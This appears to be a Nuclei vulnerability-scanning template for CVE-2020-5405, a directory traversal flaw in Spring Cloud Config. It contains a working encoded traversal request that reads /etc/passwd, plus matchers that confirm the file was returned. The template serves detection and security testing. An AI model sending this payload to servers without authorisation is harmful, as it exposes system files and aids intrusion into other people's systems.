id: CVE-2020-5405 info: name: Spring Cloud Directory Traversal author: harshbothra_ severity: high description: Spring Cloud Config, versions 2.2.x prior to 2.2.2, versions 2.1.x prior to 2.1.7, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack. reference: https://pivotal.io/security/cve-2020-5405 tags: cve,cve2020,lfi,springcloud requests: - method: GET path: - '{{BaseURL}}/a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd' matchers-condition: and matchers: - type: status status: - 200 - type: regex regex: - "root:[x*]:0:0:" part: body